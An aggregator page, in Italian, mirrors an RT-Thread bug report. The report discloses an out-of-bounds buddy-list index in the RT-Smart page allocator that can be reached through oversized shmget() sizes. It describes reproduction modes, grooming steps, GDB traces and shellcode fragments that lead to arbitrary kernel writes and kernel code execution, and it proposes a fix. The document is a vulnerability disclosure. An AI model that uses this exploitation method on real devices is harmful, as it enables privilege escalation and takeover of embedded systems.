[Bug] [Smart] mm: rt_page_bits() never clamps to RT_PAGE_MAX_ORDER — oversized shmget(size) indexes buddy lists out of bounds, groomable to arbitrary kernel write and kernel code execution
I maintainer di solito rispondono entro 2 giorni
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 36/100
- Tipo di issue
- Bug
- Chiarezza
- Specificata chiaramente
- Stato di attività
- Attiva
- Stack tecnologico
- c, operating-systems
- Ambito
- embedded-iot, operating-systems, security
Direzione di ricerca
Start with components/mm/mm_page.c, especially rt_page_bits() and the _pages_alloc/__pages_alloc paths; trace how the order reaches the buddy-list index. Check the RT-Smart shmget() path for size bounds, then reproduce with the stated 4 MiB+1 case on the QEMU AArch64 setup. Done means oversized requests fail before page-list access and valid allocations still work.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
RT-Thread Version
master fbdb9711db8be41fe84f92a2f983c048c11f9a47 (2026-11-30 tip). Introduced by 7450ef6c4d71 (2023-01-09, RT-Smart MM layer #6809). First affected release: v5.0.0; verified still present on v5.0.0–v5.3.0 and current master, and on branches v5.0.x / v5.1.x / lts-v5.2.x / v4.0.x / lts-v4.1.x (rt_page_bits() has no order clamp in any of them).
Affected area
Memory management — components/mm/mm_page.c (RT-Smart MMU page allocator)
Hardware-BSP vendor
QEMU
Architecture
AArch64 (ARM)
Board and hardware details
qemu-virt64-aarch64, QEMU virt machine, 1 CPU, 128 MiB, RT-Smart (RT_USING_SMART=y + System V shm), virtio-blk rootfs, GICv2. Reproduced on a kernel rebuilt from current master tip.
Develop Toolchain
aarch64-linux-musleabi gcc 7.3 (scons), QEMU 9.2.3
Describe the bug
rt_page_bits() (components/mm/mm_page.c:453) returns a page order computed from a caller-supplied size with only a lower clamp (bit < 0 → 0). It never rejects orders above RT_PAGE_MAX_ORDER (11). _pages_alloc/__pages_alloc use the returned size_bits directly as a buddy-list index (_get_pgls_head(agr_pgls, affid, size_bits) → agr_pgls[size_bits]), and the only guards are RT_ASSERT(size_bits < RT_PAGE_MAX_ORDER) — compiled out in release builds. shmget() passes an unbounded user size into this path, so an unprivileged RT-Smart process indexes the static buddy-list array out of bounds with a fully controlled offset.
Two concrete outcomes, both reproduced:
- DoS:
shmget(key, 4MiB+1)→size_bits=11→page_list_low[11]aliasespage_list_high[0](NULL) →_page_remove(NULL, ...)readsp->preat0x8:
shmget: mode=attack size=0x400001
Data abort
fault addr = 0x0000000000000008
abort caused by read instruction
- Arbitrary write → kernel code execution:
shmget(key, 1<<49)→size_bits=37→page_list_low[37]lands exactly on the adjacent static_last_allocpointer. The PoC first allocates two legal 4 KiB shm segments so_last_allocpoints at a user-mapped page, then forges astruct rt_pageheader there (pre/nextattacker-chosen). The oversizedshmgetmakes_page_remove()run the list unlink on the forged page — two arbitrary kernel writes — and returns the forged page as a valid allocation. The PoC uses the writes to redirectrt_object_take_hookinto an AArch64 stub placed inside the controlled page, then triggers the hook with a publicsem_take()syscall. GDB on the rebuilt master-tip kernel:
[oversized shmget] _last_alloc(OOB slot)=0xffff0000045e0000 pointee:
0xffff0000045e0000: 0x4148434b44455f4d 0xffff0000002ba078 <- attacker-written fake rt_page header
[CRAFT-HIT] arbitrary kernel write: rt_object_put_hook now = 0x4148434b44455f4d
#0 _page_remove (page_head=0xffff0000001f7f70 <_last_alloc>, p=0xffff0000045e0000, size_bits=37) mm_page.c:548
#1 __pages_alloc (agr_pgls=0xffff0000001f7e48 <page_list_low>, size_bits=37, ...)
#5 rt_pages_alloc_ext (size_bits=37, ...)
#6 _lwp_shmget (size=562949953421312)
[PWN-1] sem-take hook armed: rt_object_take_hook = 0xffff0000045e0100 (attacker kernel page)
[PWN-2] EXECUTION at attacker-controlled kernel page 0xffff0000045e0100:
=> 0xffff0000045e0100: b 0xffff0000045e0120 <- attacker shellcode bytes, kernel mode
[PWN-body] attacker shellcode BODY reached at 0x45e0120:
mov x0, #0xa078 / movk x0, #0x2ba, lsl #16 / movk x0, #0xffff, lsl #48
mov x1, #0x5f4d / movk ... <- stub builds & writes marker
Steps to reproduce (all official POSIX APIs from an unprivileged process: shmget/shmat/sem_create/sem_take):
- Build
qemu-virt64-aarch64with RT-Smart enabled (stock Smart configuration). - Run the attached PoC modes from msh:
control(size=4 MiB): returns normally, system alive;attack(size=4 MiB+1): kernel Data abort at fault address0x8, reproducible on every boot;craft(size=1<<49, groomed):_page_removeperforms attacker-directed writes into kernel globals;pwn(size=1<<49, groomed + stub):rt_object_take_hookis overwritten with the address of an attacker page and the kernel fetches and executes attacker bytes there.
Note for anyone re-running: on current master rt_mutex_take() no longer calls rt_object_take_hook — the hook trigger in the reproducer uses sem_create/sem_take (src/ipc.c:642).
Expected: shmget() with a size that maps to an order ≥ RT_PAGE_MAX_ORDER must fail with an error before any page-list indexing (the same clamp rt_page_bits() callers need everywhere).
Actual: the out-of-range order indexes static kernel state out of bounds; with small grooming this yields arbitrary kernel writes and kernel-mode execution of attacker bytes from an unprivileged user process.
Other additional context
- CVSS 3.1:
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H= 8.8 (Critical). Preconditions stated explicitly: RT-Smart (MMU) build with System V shm reachable by an unprivileged local process — the default shape for RT-Smart products. - CWE-190 (integer/range error on the page order) → CWE-787 (OOB write via buddy-list unlink) → CWE-822/CD (untrusted pointer as kernel instruction source).
- Dedup check (2026-12-02): GitHub issue/PR search for
shmget/rt_page_bits/ page-order overflow returns no prior report; not covered by any of the existing mm-related issues. All maintenance branches (v5.0.x, v5.1.x, lts-v5.2.x, v4.0.x, lts-v4.1.x) still contain the unclampedrt_page_bits(). - Fix suggestion (two lines): reject orders past the array in
rt_pages_allocpaths — e.g. clamp/fail inrt_page_bits()itself (if (bit >= RT_PAGE_MAX_ORDER) return -RT_ERROR;semantics for callers) and turn theRT_ASSERT(size_bits < RT_PAGE_MAX_ORDER)guards at mm_page.c:484/615 into unconditional runtime checks that return an allocation failure.shmget()should additionally boundsizeto the shm size limit before calling the page allocator.
- Lingua principale
- C
- Stelle
- 12.4k
- Fork
- 5.5k
- Merge medio
- 3g 13h
- PR unite (30g)
- 73
Preparare l'ambiente
Avvia il container di sviluppo del progetto nel browser, con il tuo account GitHub.
- Nessun Dockerfile né file Docker Compose
- Ha un modello di pull request
- Leggi la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di RT-Thread/rt-thread
-
[Bug] Out-of-bounds stack read and callback signature mismatch in TM4C123 ADC driver (drv_adc.c)Apertabug Component component: drivers
Difficoltà 2/5 1-3 ore Idoneità per principianti 74/100
RT-Thread/rt-thread#12118 · 1 commento ·
I maintainer di solito rispondono entro 2 giorni
-
BSP BSP: NXP bug Component component: drivers
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
RT-Thread/rt-thread#12117 · 1 commento ·
I maintainer di solito rispondono entro 2 giorni
-
BSP BSP: GD32 bug Component component: drivers
Difficoltà 2/5 1-3 ore Idoneità per principianti 74/100
RT-Thread/rt-thread#12115 · 1 commento ·
I maintainer di solito rispondono entro 2 giorni
-
Arch: ARM/AArch64 BSP BSP: GD32 bug Component component: drivers
Difficoltà 2/5 1-3 ore Idoneità per principianti 66/100
RT-Thread/rt-thread#12109 · 5 commenti ·
I maintainer di solito rispondono entro 2 giorni
-
action bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
RT-Thread/rt-thread#12106 · 1 commento ·
I maintainer di solito rispondono entro 2 giorni
Tutte le issue di RT-Thread/rt-thread
Issue simili
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
signalwire/freeswitch#3329 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 82/100
I maintainer di solito rispondono entro 1 giorno
-
Status: Opened
Difficoltà 2/5 1-3 ore Idoneità per principianti 83/100
espressif/esp-protocols#1224 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 83/100
I maintainer di solito rispondono entro 1 giorno
-
bot-triaged module: bfloat16 module: cuda module: half module: numerical-stability triage review
Difficoltà 2/5 1-3 ore Idoneità per principianti 77/100
I maintainer di solito rispondono entro 1 giorno